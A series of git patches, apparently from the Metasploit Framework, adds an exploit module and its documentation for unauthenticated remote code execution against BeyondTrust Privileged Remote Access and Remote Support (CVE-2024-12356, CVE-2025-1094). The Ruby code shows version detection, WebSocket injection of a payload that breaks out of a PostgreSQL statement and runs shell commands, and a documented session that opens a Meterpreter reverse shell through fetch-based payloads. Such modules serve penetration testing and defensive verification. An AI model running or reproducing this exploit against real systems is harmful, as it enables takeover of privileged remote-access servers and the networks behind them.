From 528409ba87f59f1a9aad748c3180ac48e339005e Mon Sep 17 00:00:00 2001 From: sfewer-r7 Date: Fri, 24 Jan 2025 14:41:45 +0000 Subject: [PATCH 01/19] add in the exploit for cve-2024-12356 --- .../http/beyondtrust_rce_cve_2024_12356.rb | 261 ++++++++++++++++++ 1 file changed, 261 insertions(+) create mode 100644 modules/exploits/linux/http/beyondtrust_rce_cve_2024_12356.rb diff --git a/modules/exploits/linux/http/beyondtrust_rce_cve_2024_12356.rb b/modules/exploits/linux/http/beyondtrust_rce_cve_2024_12356.rb new file mode 100644 index 000000000000..5188fd14b91f --- /dev/null +++ b/modules/exploits/linux/http/beyondtrust_rce_cve_2024_12356.rb @@ -0,0 +1,261 @@ +## +# This module requires Metasploit: https://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +class MetasploitModule < Msf::Exploit::Remote + Rank = ExcellentRanking + + include Msf::Exploit::Remote::HttpClient + include Rex::Proto::Http::WebSocket + prepend Msf::Exploit::Remote::AutoCheck + + def initialize(info = {}) + super( + update_info( + info, + 'Name' => 'BeyondTrust Privileged Remote Access (PRA) and Remote Support (RS) unauthenticated Remote Code Execution', + 'Description' => %q{ + This module exploits an unauthenticated argument injection vulnerability in BeyondTrust Privileged Remote + Access (PRA) and Remote Support (RS) to achieve remote code execution as the site user of the targeted site. + The vulnerability affects PRA and RS versions 24.3.1 and below. + }, + 'License' => MSF_LICENSE, + 'Author' => [ + 'sfewer-r7' # Rapid7 Analysis and Metasploit module + ], + 'References' => [ + ['CVE', '2024-12356'], + ['URL', 'https://www.beyondtrust.com/trust-center/security-advisories/bt24-10'], # Vendor Advisory + # ['URL', ''] # Technical Analysis + ], + 'DisclosureDate' => '2024-12-16', + 'Platform' => [ 'linux', 'unix' ], + 'Arch' => [ARCH_CMD], + 'Privileged' => false, # Executes as the site user. + 'Targets' => [ + [ + 'Default', { + 'Payload' => { + 'DisableNops' => true, + # Our payload is passed to the PHP function pg_escape_string. We want to avoid any single quotes + # getting escaped unexpectedly. The server may be configured to escape double quotes (not by default). + # As we leverage the -e switch from the echo command, we also want to avoid any forward slash characters. + 'BadChars' => '\'"\\' + } + } + ] + ], + # NOTE: Tested with the following payloads: + # cmd/linux/http/x64/meterpreter/reverse_tcp + # cmd/unix/reverse_bash + # cmd/unix/generic + 'DefaultOptions' => { + 'RPORT' => 443, + 'SSL' => true, + # A writable directory on the target for fetch based payloads to write to. + 'FETCH_WRITABLE_DIR' => '/var/tmp', + # Delete the fetch binary after execution. + 'FETCH_DELETE' => true, + # By default, a deployed site, like Remote Support, is expected to be located at the root path. + 'URIPATH' => '/' + }, + 'DefaultTarget' => 0, + 'Notes' => { + 'Stability' => [CRASH_SAFE], + 'Reliability' => [REPEATABLE_SESSION], + 'SideEffects' => [IOC_IN_LOGS] + } + ) + ) + + register_options( + [ + OptString.new('TargetCompanyName', [false, 'If set, use this name value to identify the company name of the deployed site. By default this is auto discovered.']), + OptString.new('TargetServerFQDN', [false, 'If set, use this FQDN value to identify the FQDN of the deployed site. By default this is auto discovered.']) + ] + ) + end + + def check + res = send_request_cgi( + 'method' => 'GET', + 'uri' => normalize_uri(target_uri.path, 'get_rdf'), + 'vars_get' => { + 'comp' => 'sdcust', + 'locale_code' => 'en-us' + } + ) + + return CheckCode::Unknown('Connection failed') unless res + + return CheckCode::Unknown("Unexpected response code #{res.code == 200}") unless res.code == 200 + + return CheckCode::Unknown('Unexpected response content') unless res.body.start_with? '0 Successful' + + # The HTTP content data will have something like this, followed by ~800Kb of string data: + + # 00000000 30 20 53 75 63 63 65 73 73 66 75 6c 0a 65 6e 2d |0 Successful.en-| + # 00000010 75 73 0a 31 37 33 37 33 36 38 38 37 32 0a 42 52 |us.1737368872.BR| + # 00000020 44 46 80 00 0a 91 07 81 32 34 2e 31 2e 32 00 82 |DF......24.1.2..| + # 00000030 00 00 00 00 67 8e 25 28 91 06 83 65 6e 2d 75 73 |....g.%(...en-us| + + # First there is a "0 Successful\nLOCALE_ID\nTIMESTAMP\n" value, we we use a regex to match this so we can ignore it. + + header = res.body.match(/^(0 Successful\n.+\n\d+\n)/) + + return CheckCode::Unknown('Unexpected response header') unless header + + # Extract the remainder of the data, after the "0 Successful\nLOCALE_ID\nTIMESTAMP\n" pre-amble. + brdf_data = res.body[header[1].length..] + + return CheckCode::Unknown('Unexpected response data') unless brdf_data.include? 'Thank you for using BeyondTrust' + + # Pull out the magic value (4 bytes), the first tag and its value (file version, 3 bytes), and then the second tag + # and its value (product version). The product version is encoded as a string, so has two tags, one for the + # string type (0x91) and the other for the tag type (0x81). + magic, _, _, prod_version_tag1, file_version_data_len, file_version_tag2 = brdf_data.unpack('NCvCCC') + + # Inspect the data to ensure it looks like what we expect. + + return CheckCode::Unknown('Unexpected header magic') unless magic == 0x42524446 # BRDF + + return CheckCode::Unknown('Unexpected header prod_version_tag1') unless prod_version_tag1 == 0x91 # RDF_SMALL_SIZE + + return CheckCode::Unknown('Unexpected header file_version_tag2') unless file_version_tag2 == 0x81 # RDF_PRODUCT_VERSION + + product_version = brdf_data[10, file_version_data_len - 1] + + # We cannot differentiate between the two affected products, Privileged Remote Access (PRA) and Remote Support (RS). + # However, they both share a common version number, and a common patch for this vulnerability. + if Rex::Version.new(product_version) <= Rex::Version.new('24.3.1') + return CheckCode::Appears("Detected version #{product_version}") + end + + CheckCode::Safe + end + + def exploit + # For the deployed site being targeted (either Privileged Remote Access or Remote Support), we need to know either + # the company name the site is registered to, or the FQDN of the deployed site. This is required to successfully + # establish a WebSocket connection to the target site application. By default, we query tha target site to + # discover this, however a user can optionally set either the expected company name or FQDN as an option. + site_info = get_site_info + + if site_info.nil? + fail_with(Failure::UnexpectedReply, 'Failed to get the site info.') + end + + vprint_status("Company name: #{site_info[:company]}") + vprint_status("Site FQDN: #{site_info[:server]}") + + headers = { + # This is the vulnerable application which is reachable over a WebSocket to the target site. + 'Sec-WebSocket-Protocol' => 'ingredi support desk customer thin' + } + + if !site_info[:company].blank? + print_status("Using company name: #{site_info[:company]}") + + headers['X-Ns-Company'] = site_info[:company] + elsif !site_info[:server].blank? + print_status("Using site FQDN: #{site_info[:server]}") + + headers['Host'] = site_info[:server] + else + fail_with(Failure::BadConfig, 'No company name or site FQND set. Either set the TargetCompanyName or TargetServerFQDN option to a valid value, or clear them both to auto discover these values at run time.') + end + + wsock = connect_ws( + 'method' => 'GET', + 'uri' => normalize_uri(target_uri.path, 'nw'), + 'headers' => headers + ) + + # Transmit a version for the request. The target may use version 2, but will agree to a lower version. By using a + # lower version of 1, we expect to be able to exploit older versions of the affected products which do not support + # version 2. + wsock.put_wsbinary("1\n") + + # Transmit a random UUID value for the 'thin mint' cookie value. + wsock.put_wsbinary("#{SecureRandom.uuid}\n") + + # Transmit the auth type we want. Zero is the gskey auth type. + wsock.put_wsbinary("0\n") + + # Transmit the malicious gskey value and exploit the argument injection vulnerability. + # Our attacker value will be passed to the echo command, but as a variable, not as a string. We can therefore pass + # arbitrary arguments to echo. We pass the -e switch, to enable the interpretation of backslash escape sequences. + # We leverage this to pass an 0xEF character, this will break the interpretation of a PostgreSQL statemtnet, and + # in turn allow us to overcome the safe quotes that have been put in place. We can escape the current SQL statement + # and run an arbitrary PostgreSQL client command. By running a \! command, we can execute and arbitrary shell command. + wsock.put_wsbinary("-e \\\\xEF'; \\\\! #{payload.encoded} #\n") + rescue Rex::Proto::Http::WebSocket::ConnectionError => e + if e.http_response && !e.http_response.body.blank? + if e.http_response.body == 'Invalid company or app name' + print_error("#{e.http_response.body} - Set either the TargetCompanyName or TargetServerFQDN option to a valid value.") + else + print_error(e.http_response.body) + end + end + raise + end + + def get_site_info + if !datastore['TargetCompanyName'].blank? || !datastore['TargetServerFQDN'].blank? + return { + company: datastore['TargetCompanyName'], + server: datastore['TargetServerFQDN'] + } + end + + res1 = send_request_cgi( + 'method' => 'GET', + 'uri' => normalize_uri(target_uri.path, 'download_client_connector'), + 'vars_get' => { + 'issue_menu' => '1' + } + ) + + return error('get_site_info Connection 1 failed.') unless res1 + + return error("get_site_info Request 1, unexpected response code #{res1.code}.") unless res1.code == 200 + + return error('get_site_info Request 1, unable to match data-html-url') unless res1.body =~ %r{data-html-url="\S+(/chat/html/\S+)"}i + + res2 = send_request_cgi( + 'method' => 'GET', + 'uri' => normalize_uri(target_uri.path, Rex::Text.html_decode(::Regexp.last_match(1))) + ) + + return error('get_site_info Connection 2 failed.') unless res2 + + return error("get_site_info Request 2, unexpected response code #{res2.code}.") unless res2.code == 200 + + return error('get_site_info Request 2, unable to match data-company.') unless res2.body =~ /data-company="(\S+)"/i + + company = Rex::Text.html_decode(::Regexp.last_match(1)) + + return error('get_site_info Request 2, unable to match data-servers.') unless res2.body =~ /data-servers="(\S+)"/i + + servers = Rex::Text.html_decode(::Regexp.last_match(1)) + + servers_array = JSON.parse(servers) + + return error('get_site_info Request 2, data-servers not a valid array.') unless servers_array.instance_of? Array + + return error('get_site_info Request 2, data-servers is an empty array.') if servers_array.empty? + + server = servers_array.first + + { company: company, server: server } + rescue JSON::ParserError + error('get_site_info JSON parse error.') + end + + # Helper method to print an error and then return nil. + def error(message) + print_error(message) + nil + end +end From d887ab5fac271b133f6f6db0adb24d70dddab9f4 Mon Sep 17 00:00:00 2001 From: sfewer-r7 Date: Fri, 31 Jan 2025 10:01:02 +0000 Subject: [PATCH 02/19] add in module option to leverage CVE-2024-12356. This option is disabled by default, and we hit the SQLi directly. --- .../http/beyondtrust_rce_cve_2024_12356.rb | 62 ++++++++++++------- 1 file changed, 39 insertions(+), 23 deletions(-) diff --git a/modules/exploits/linux/http/beyondtrust_rce_cve_2024_12356.rb b/modules/exploits/linux/http/beyondtrust_rce_cve_2024_12356.rb index 5188fd14b91f..066e301edd3b 100644 --- a/modules/exploits/linux/http/beyondtrust_rce_cve_2024_12356.rb +++ b/modules/exploits/linux/http/beyondtrust_rce_cve_2024_12356.rb @@ -16,18 +16,20 @@ def initialize(info = {}) info, 'Name' => 'BeyondTrust Privileged Remote Access (PRA) and Remote Support (RS) unauthenticated Remote Code Execution', 'Description' => %q{ - This module exploits an unauthenticated argument injection vulnerability in BeyondTrust Privileged Remote - Access (PRA) and Remote Support (RS) to achieve remote code execution as the site user of the targeted site. - The vulnerability affects PRA and RS versions 24.3.1 and below. + This exploit achieves unauthenticated remote code execution against BeyondTrust Privileged Remote + Access (PRA) and Remote Support (RS), with the privileges of the site user of the targeted BeyondTrust + product site. This exploit targets PRA and RS versions 24.3.1 and below. }, 'License' => MSF_LICENSE, 'Author' => [ 'sfewer-r7' # Rapid7 Analysis and Metasploit module ], 'References' => [ - ['CVE', '2024-12356'], - ['URL', 'https://www.beyondtrust.com/trust-center/security-advisories/bt24-10'], # Vendor Advisory - # ['URL', ''] # Technical Analysis + ['CVE', '2024-12356'], # The argument injection in BeyondTrust code. By default, this exploit does not leverage CVE-2024-12356. + # ['', '2025-?????'], # The SQLi injection in PostgreSQL code. + ['URL', 'https://www.beyondtrust.com/trust-center/security-advisories/bt24-10'], # BeyondTrust Advisory + # ['URL', ''], # PostgreSQL Advisory + # ['URL', ''] # Rapid7 Analysis ], 'DisclosureDate' => '2024-12-16', 'Platform' => [ 'linux', 'unix' ], @@ -40,7 +42,7 @@ def initialize(info = {}) 'DisableNops' => true, # Our payload is passed to the PHP function pg_escape_string. We want to avoid any single quotes # getting escaped unexpectedly. The server may be configured to escape double quotes (not by default). - # As we leverage the -e switch from the echo command, we also want to avoid any forward slash characters. + # We also want to avoid any forward slash characters if CVE-2024-12356 is being leveraged. 'BadChars' => '\'"\\' } } @@ -69,10 +71,11 @@ def initialize(info = {}) ) ) - register_options( + register_advanced_options( [ OptString.new('TargetCompanyName', [false, 'If set, use this name value to identify the company name of the deployed site. By default this is auto discovered.']), - OptString.new('TargetServerFQDN', [false, 'If set, use this FQDN value to identify the FQDN of the deployed site. By default this is auto discovered.']) + OptString.new('TargetServerFQDN', [false, 'If set, use this FQDN value to identify the FQDN of the deployed site. By default this is auto discovered.']), + OptBool.new('LeverageCVE_2024_12356', [false, 'By default this exploit does not leverage CVE-2024-12356. Enabling this option will cause this exploit to leverage CVE-2024-12356.', false]) ] ) end @@ -138,8 +141,8 @@ def check def exploit # For the deployed site being targeted (either Privileged Remote Access or Remote Support), we need to know either # the company name the site is registered to, or the FQDN of the deployed site. This is required to successfully - # establish a WebSocket connection to the target site application. By default, we query tha target site to - # discover this, however a user can optionally set either the expected company name or FQDN as an option. + # establish a WebSocket connection to the target site application. By default, we query the target site to + # discover this, however a user can manually set either the expected company name or FQDN as a module option. site_info = get_site_info if site_info.nil? @@ -163,7 +166,7 @@ def exploit headers['Host'] = site_info[:server] else - fail_with(Failure::BadConfig, 'No company name or site FQND set. Either set the TargetCompanyName or TargetServerFQDN option to a valid value, or clear them both to auto discover these values at run time.') + fail_with(Failure::BadConfig, 'No company name or site FQDN set. Either set the TargetCompanyName or TargetServerFQDN option to a valid value, or clear them both to auto discover these values at run time.') end wsock = connect_ws( @@ -175,21 +178,34 @@ def exploit # Transmit a version for the request. The target may use version 2, but will agree to a lower version. By using a # lower version of 1, we expect to be able to exploit older versions of the affected products which do not support # version 2. - wsock.put_wsbinary("1\n") + wsock.put_wstext("1\n") # Transmit a random UUID value for the 'thin mint' cookie value. - wsock.put_wsbinary("#{SecureRandom.uuid}\n") + wsock.put_wstext("#{SecureRandom.uuid}\n") # Transmit the auth type we want. Zero is the gskey auth type. - wsock.put_wsbinary("0\n") - - # Transmit the malicious gskey value and exploit the argument injection vulnerability. - # Our attacker value will be passed to the echo command, but as a variable, not as a string. We can therefore pass - # arbitrary arguments to echo. We pass the -e switch, to enable the interpretation of backslash escape sequences. - # We leverage this to pass an 0xEF character, this will break the interpretation of a PostgreSQL statemtnet, and - # in turn allow us to overcome the safe quotes that have been put in place. We can escape the current SQL statement - # and run an arbitrary PostgreSQL client command. By running a \! command, we can execute and arbitrary shell command. - wsock.put_wsbinary("-e \\\\xEF'; \\\\! #{payload.encoded} #\n") + wsock.put_wstext("0\n") + + # NOTE: We can bypass the need to leverage the argument injection CVE-2024-12356, by transmitting the malicious gskey + # value via a binary WebSocket message, instead of a text WebSocket message. We include a module option (false by + # default) called 'LeverageCVE_2024_12356' to make this exploit leverage the argument injection CVE-2024-12356. + + if datastore['LeverageCVE_2024_12356'] + vprint_status('Leveraging CVE-2024-12356 to trigger the SQLi...') + + # Transmit the malicious gskey value and exploit the argument injection vulnerability. + # Our attacker value will be passed to the echo command, but as a variable, not as a string. We can therefore pass + # arbitrary arguments to echo. We pass the -e switch, to enable the interpretation of backslash escape sequences. + # We leverage this to pass an 0xC0 character, this will break the interpretation of a PostgreSQL statement, and + # in turn allow us to overcome the safe quotes that have been put in place. We can escape the current SQL statement + # and run an arbitrary PostgreSQL client command. By running a \! command, we can execute and arbitrary shell command. + wsock.put_wstext("-e \\\\xC0'; \\\\! #{payload.encoded} #\n") + else + vprint_status('Triggering the SQLi directly (Without CVE-2024-12356)...') + + # Leverage the SQLi directly, by placing the raw byte value 0xC0 in the gskey value that we send to the server. + wsock.put_wsbinary("\xC0'; \\\\! #{payload.encoded} #\n") + end rescue Rex::Proto::Http::WebSocket::ConnectionError => e if e.http_response && !e.http_response.body.blank? if e.http_response.body == 'Invalid company or app name' From c6d03069a9755cf47c65b2ebb99fb37779875caf Mon Sep 17 00:00:00 2001 From: sfewer-r7 Date: Fri, 31 Jan 2025 11:02:01 +0000 Subject: [PATCH 03/19] add in the documentation --- .../http/beyondtrust_rce_cve_2024_12356.md | 99 +++++++++++++++++++ .../http/beyondtrust_rce_cve_2024_12356.rb | 6 +- 2 files changed, 102 insertions(+), 3 deletions(-) create mode 100644 documentation/modules/exploit/linux/http/beyondtrust_rce_cve_2024_12356.md diff --git a/documentation/modules/exploit/linux/http/beyondtrust_rce_cve_2024_12356.md b/documentation/modules/exploit/linux/http/beyondtrust_rce_cve_2024_12356.md new file mode 100644 index 000000000000..1985d51646e6 --- /dev/null +++ b/documentation/modules/exploit/linux/http/beyondtrust_rce_cve_2024_12356.md @@ -0,0 +1,99 @@ +## Vulnerable Application +This exploit achieves unauthenticated remote code execution against BeyondTrust Privileged Remote +Access (PRA) and Remote Support (RS), with the privileges of the site user of the targeted BeyondTrust +product site. This exploit targets PRA and RS versions `24.3.1` and below. + +## Testing +This exploit was tested against a vulnerable BeyondTrust Remote Support target running version `24.1.2`. To install +a virtual appliance, follow [this documentation](https://docs.beyondtrust.com/rs/docs/va-install). You will first need +to acquire the relevant software packages. + +## Verification Steps + +1. Start msfconsole +2. `use exploit/linux/http/beyondtrust_rce_cve_2024_12356.` +3. `set RHOST ` +4. `set PAYLOAD cmd/linux/http/x64/meterpreter_reverse_tcp` +5. `set LHOST eth0` +5. `set LPORT 4444` +6. `check` +7. `exploit` + +## Options + +### TargetCompanyName +If set, use this name value to identify the company name of the deployed site (e.g. `mytestcompany`). +By default, this is auto discovered. + +### TargetServerFQDN +If set, use this FQDN value to identify the FQDN of the deployed site (e.g. `support.mytestcompany.com`). +By default, this is auto discovered. + +### LeverageCVE_2024_12356 +By default, this exploit does not leverage the argument injection vulnerability CVE-2024-12356. Enabling this +option will cause this exploit to leverage CVE-2024-12356. + +## Scenarios + +### Default + +``` +msf6 exploit(linux/http/beyondtrust_rce_cve_2024_12356) > show options + +Module options (exploit/linux/http/beyondtrust_rce_cve_2024_12356): + + Name Current Setting Required Description + ---- --------------- -------- ----------- + Proxies no A proxy chain of format type:host:port[,type:host:port][...] + RHOSTS 192.168.86.105 yes The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit. + html + RPORT 443 yes The target port (TCP) + SSL true no Negotiate SSL/TLS for outgoing connections + VHOST no HTTP server virtual host + + +Payload options (cmd/linux/http/x64/meterpreter/reverse_tcp): + + Name Current Setting Required Description + ---- --------------- -------- ----------- + FETCH_COMMAND CURL yes Command to fetch payload (Accepted: CURL, FTP, TFTP, TNFTP, WGET) + FETCH_DELETE true yes Attempt to delete the binary after execution + FETCH_FILENAME usKuEPuSzgnx no Name to use on remote system when storing payload; cannot contain spaces or slashes + FETCH_SRVHOST no Local IP to use for serving payload + FETCH_SRVPORT 8080 yes Local port to use for serving payload + FETCH_URIPATH no Local URI to use for serving payload + FETCH_WRITABLE_DIR /var/tmp yes Remote writable dir to store payload; cannot contain spaces + LHOST eth0 yes The listen address (an interface may be specified) + LPORT 4444 yes The listen port + + +Exploit target: + + Id Name + -- ---- + 0 Default + + + +View the full module info with the info, or info -d command. + +msf6 exploit(linux/http/beyondtrust_rce_cve_2024_12356) > check +[*] 192.168.86.105:443 - The target appears to be vulnerable. Detected version 24.1.2 +msf6 exploit(linux/http/beyondtrust_rce_cve_2024_12356) > exploit +[*] Started reverse TCP handler on 192.168.86.122:4444 +[*] Running automatic check ("set AutoCheck false" to disable) +[+] The target appears to be vulnerable. Detected version 24.1.2 +[*] Using company name: mytestcompany +[*] Sending stage (3045380 bytes) to 192.168.86.105 +[*] Meterpreter session 1 opened (192.168.86.122:4444 -> 192.168.86.105:10104) at 2025-01-31 10:51:38 +0000 + +meterpreter > getuid +Server username: mytestcompany +meterpreter > sysinfo +Computer : 192.168.86.105 +OS : Gentoo 2.14 (Linux 6.1.76-bt) +Architecture : x64 +BuildTuple : x86_64-linux-musl +Meterpreter : x64/linux +meterpreter > +``` diff --git a/modules/exploits/linux/http/beyondtrust_rce_cve_2024_12356.rb b/modules/exploits/linux/http/beyondtrust_rce_cve_2024_12356.rb index 066e301edd3b..afe43da6e92a 100644 --- a/modules/exploits/linux/http/beyondtrust_rce_cve_2024_12356.rb +++ b/modules/exploits/linux/http/beyondtrust_rce_cve_2024_12356.rb @@ -73,9 +73,9 @@ def initialize(info = {}) register_advanced_options( [ - OptString.new('TargetCompanyName', [false, 'If set, use this name value to identify the company name of the deployed site. By default this is auto discovered.']), - OptString.new('TargetServerFQDN', [false, 'If set, use this FQDN value to identify the FQDN of the deployed site. By default this is auto discovered.']), - OptBool.new('LeverageCVE_2024_12356', [false, 'By default this exploit does not leverage CVE-2024-12356. Enabling this option will cause this exploit to leverage CVE-2024-12356.', false]) + OptString.new('TargetCompanyName', [false, 'If set, use this name value to identify the company name of the deployed site. By default, this is auto discovered.']), + OptString.new('TargetServerFQDN', [false, 'If set, use this FQDN value to identify the FQDN of the deployed site. By default, this is auto discovered.']), + OptBool.new('LeverageCVE_2024_12356', [false, 'By default, this exploit does not leverage CVE-2024-12356. Enabling this option will cause this exploit to leverage CVE-2024-12356.', false]) ] ) end From c9be9b65ec3aafa67c773e3e33fd2780f07cc4bb Mon Sep 17 00:00:00 2001 From: sfewer-r7 Date: Wed, 12 Feb 2025 17:22:17 +0000 Subject: [PATCH 04/19] fix typos in docs --- .../exploit/linux/http/beyondtrust_rce_cve_2024_12356.md | 8 ++++---- 1 file changed, 4 insertions(+), 4 deletions(-) diff --git a/documentation/modules/exploit/linux/http/beyondtrust_rce_cve_2024_12356.md b/documentation/modules/exploit/linux/http/beyondtrust_rce_cve_2024_12356.md index 1985d51646e6..f458505773a6 100644 --- a/documentation/modules/exploit/linux/http/beyondtrust_rce_cve_2024_12356.md +++ b/documentation/modules/exploit/linux/http/beyondtrust_rce_cve_2024_12356.md @@ -11,13 +11,13 @@ to acquire the relevant software packages. ## Verification Steps 1. Start msfconsole -2. `use exploit/linux/http/beyondtrust_rce_cve_2024_12356.` +2. `use exploit/linux/http/beyondtrust_rce_cve_2024_12356` 3. `set RHOST ` 4. `set PAYLOAD cmd/linux/http/x64/meterpreter_reverse_tcp` 5. `set LHOST eth0` -5. `set LPORT 4444` -6. `check` -7. `exploit` +6. `set LPORT 4444` +7. `check` +8. `exploit` ## Options From 37276446a62f09da4592a153aea6743ce6793147 Mon Sep 17 00:00:00 2001 From: sfewer-r7 Date: Wed, 12 Feb 2025 17:22:43 +0000 Subject: [PATCH 05/19] improve the description for this option --- .../exploit/linux/http/beyondtrust_rce_cve_2024_12356.md | 6 ++++-- 1 file changed, 4 insertions(+), 2 deletions(-) diff --git a/documentation/modules/exploit/linux/http/beyondtrust_rce_cve_2024_12356.md b/documentation/modules/exploit/linux/http/beyondtrust_rce_cve_2024_12356.md index f458505773a6..d17a2133c78e 100644 --- a/documentation/modules/exploit/linux/http/beyondtrust_rce_cve_2024_12356.md +++ b/documentation/modules/exploit/linux/http/beyondtrust_rce_cve_2024_12356.md @@ -30,8 +30,10 @@ If set, use this FQDN value to identify the FQDN of the deployed site (e.g. `sup By default, this is auto discovered. ### LeverageCVE_2024_12356 -By default, this exploit does not leverage the argument injection vulnerability CVE-2024-12356. Enabling this -option will cause this exploit to leverage CVE-2024-12356. +By default, this exploit does not leverage the argument injection vulnerability CVE-2024-12356, and instead exploits the +SQLi vulnerability CVE-2025-1094 directly. Enabling this option will cause this exploit to leverage CVE-2024-12356 during +the exploitation of the SQLi vulnerability CVE-2025-1094. In either case the SQLi vulnerability CVE-2025-1094 is leveraged +to achieve RCE. ## Scenarios From 18f0bbeaf0ff4a468234d611def916ca1cc146f8 Mon Sep 17 00:00:00 2001 From: sfewer-r7 Date: Wed, 12 Feb 2025 17:23:19 +0000 Subject: [PATCH 06/19] add in the new CVE ID for the PosgreSQL vuln --- .../http/beyondtrust_rce_cve_2024_12356.rb | 20 ++++++++++--------- 1 file changed, 11 insertions(+), 9 deletions(-) diff --git a/modules/exploits/linux/http/beyondtrust_rce_cve_2024_12356.rb b/modules/exploits/linux/http/beyondtrust_rce_cve_2024_12356.rb index afe43da6e92a..21ad313b2159 100644 --- a/modules/exploits/linux/http/beyondtrust_rce_cve_2024_12356.rb +++ b/modules/exploits/linux/http/beyondtrust_rce_cve_2024_12356.rb @@ -26,9 +26,9 @@ def initialize(info = {}) ], 'References' => [ ['CVE', '2024-12356'], # The argument injection in BeyondTrust code. By default, this exploit does not leverage CVE-2024-12356. - # ['', '2025-?????'], # The SQLi injection in PostgreSQL code. + ['CVE', '2025-1094'], # The SQLi injection in PostgreSQL code. ['URL', 'https://www.beyondtrust.com/trust-center/security-advisories/bt24-10'], # BeyondTrust Advisory - # ['URL', ''], # PostgreSQL Advisory + ['URL', 'https://www.postgresql.org/support/security/CVE-2025-1094/'], # PostgreSQL Advisory # ['URL', ''] # Rapid7 Analysis ], 'DisclosureDate' => '2024-12-16', @@ -191,19 +191,21 @@ def exploit # default) called 'LeverageCVE_2024_12356' to make this exploit leverage the argument injection CVE-2024-12356. if datastore['LeverageCVE_2024_12356'] - vprint_status('Leveraging CVE-2024-12356 to trigger the SQLi...') + vprint_status('Leveraging CVE-2024-12356 to trigger the SQLi (CVE-2025-1094)...') # Transmit the malicious gskey value and exploit the argument injection vulnerability. # Our attacker value will be passed to the echo command, but as a variable, not as a string. We can therefore pass - # arbitrary arguments to echo. We pass the -e switch, to enable the interpretation of backslash escape sequences. - # We leverage this to pass an 0xC0 character, this will break the interpretation of a PostgreSQL statement, and - # in turn allow us to overcome the safe quotes that have been put in place. We can escape the current SQL statement - # and run an arbitrary PostgreSQL client command. By running a \! command, we can execute and arbitrary shell command. + # arbitrary arguments to echo (CVE-2024-12356). We pass the -e switch, to enable the interpretation of backslash + # escape sequences. We leverage this to pass an 0xC0 character, this will break the interpretation of a + # PostgreSQL statement (CVE-2025-1094), and in turn allow us to overcome the safe quotes that have been put in + # place. We can escape the current SQL statement and run an arbitrary PostgreSQL client meta-command. By running + # a \! meta-command, we can execute and arbitrary shell command. wsock.put_wstext("-e \\\\xC0'; \\\\! #{payload.encoded} #\n") else - vprint_status('Triggering the SQLi directly (Without CVE-2024-12356)...') + vprint_status('Triggering the SQLi (CVE-2025-1094) directly (Without CVE-2024-12356)...') - # Leverage the SQLi directly, by placing the raw byte value 0xC0 in the gskey value that we send to the server. + # Leverage the SQLi (CVE-2025-1094) directly, by placing the raw byte value 0xC0 in the gskey value that + # we send to the server. We can do this if we send a WebSocket binary message instead of a WebSocket text message. wsock.put_wsbinary("\xC0'; \\\\! #{payload.encoded} #\n") end rescue Rex::Proto::Http::WebSocket::ConnectionError => e From d93a99c5047caeb4643385f80028c2e72bb71972 Mon Sep 17 00:00:00 2001 From: sfewer-r7 Date: Thu, 13 Feb 2025 12:51:46 +0000 Subject: [PATCH 07/19] rename the module --- ..._2024_12356.md => beyondtrust_pra_rs_unauth_rce.md} | 10 +++++----- ..._2024_12356.rb => beyondtrust_pra_rs_unauth_rce.rb} | 0 2 files changed, 5 insertions(+), 5 deletions(-) rename documentation/modules/exploit/linux/http/{beyondtrust_rce_cve_2024_12356.md => beyondtrust_pra_rs_unauth_rce.md} (92%) rename modules/exploits/linux/http/{beyondtrust_rce_cve_2024_12356.rb => beyondtrust_pra_rs_unauth_rce.rb} (100%) diff --git a/documentation/modules/exploit/linux/http/beyondtrust_rce_cve_2024_12356.md b/documentation/modules/exploit/linux/http/beyondtrust_pra_rs_unauth_rce.md similarity index 92% rename from documentation/modules/exploit/linux/http/beyondtrust_rce_cve_2024_12356.md rename to documentation/modules/exploit/linux/http/beyondtrust_pra_rs_unauth_rce.md index d17a2133c78e..97b08109f90d 100644 --- a/documentation/modules/exploit/linux/http/beyondtrust_rce_cve_2024_12356.md +++ b/documentation/modules/exploit/linux/http/beyondtrust_pra_rs_unauth_rce.md @@ -11,7 +11,7 @@ to acquire the relevant software packages. ## Verification Steps 1. Start msfconsole -2. `use exploit/linux/http/beyondtrust_rce_cve_2024_12356` +2. `use exploit/linux/http/beyondtrust_pra_rs_unauth_rce` 3. `set RHOST ` 4. `set PAYLOAD cmd/linux/http/x64/meterpreter_reverse_tcp` 5. `set LHOST eth0` @@ -40,9 +40,9 @@ to achieve RCE. ### Default ``` -msf6 exploit(linux/http/beyondtrust_rce_cve_2024_12356) > show options +msf6 exploit(linux/http/beyondtrust_pra_rs_unauth_rce) > show options -Module options (exploit/linux/http/beyondtrust_rce_cve_2024_12356): +Module options (exploit/linux/http/beyondtrust_pra_rs_unauth_rce): Name Current Setting Required Description ---- --------------- -------- ----------- @@ -79,9 +79,9 @@ Exploit target: View the full module info with the info, or info -d command. -msf6 exploit(linux/http/beyondtrust_rce_cve_2024_12356) > check +msf6 exploit(linux/http/beyondtrust_pra_rs_unauth_rce) > check [*] 192.168.86.105:443 - The target appears to be vulnerable. Detected version 24.1.2 -msf6 exploit(linux/http/beyondtrust_rce_cve_2024_12356) > exploit +msf6 exploit(linux/http/beyondtrust_pra_rs_unauth_rce) > exploit [*] Started reverse TCP handler on 192.168.86.122:4444 [*] Running automatic check ("set AutoCheck false" to disable) [+] The target appears to be vulnerable. Detected version 24.1.2 diff --git a/modules/exploits/linux/http/beyondtrust_rce_cve_2024_12356.rb b/modules/exploits/linux/http/beyondtrust_pra_rs_unauth_rce.rb similarity index 100% rename from modules/exploits/linux/http/beyondtrust_rce_cve_2024_12356.rb rename to modules/exploits/linux/http/beyondtrust_pra_rs_unauth_rce.rb From 90daccd9486cc0c9fcb383eec1b29eda875ed9b8 Mon Sep 17 00:00:00 2001 From: sfewer-r7 Date: Thu, 13 Feb 2025 15:10:41 +0000 Subject: [PATCH 08/19] add in link to AKB analysis --- modules/exploits/linux/http/beyondtrust_pra_rs_unauth_rce.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/modules/exploits/linux/http/beyondtrust_pra_rs_unauth_rce.rb b/modules/exploits/linux/http/beyondtrust_pra_rs_unauth_rce.rb index 21ad313b2159..d4224298f887 100644 --- a/modules/exploits/linux/http/beyondtrust_pra_rs_unauth_rce.rb +++ b/modules/exploits/linux/http/beyondtrust_pra_rs_unauth_rce.rb @@ -29,7 +29,7 @@ def initialize(info = {}) ['CVE', '2025-1094'], # The SQLi injection in PostgreSQL code. ['URL', 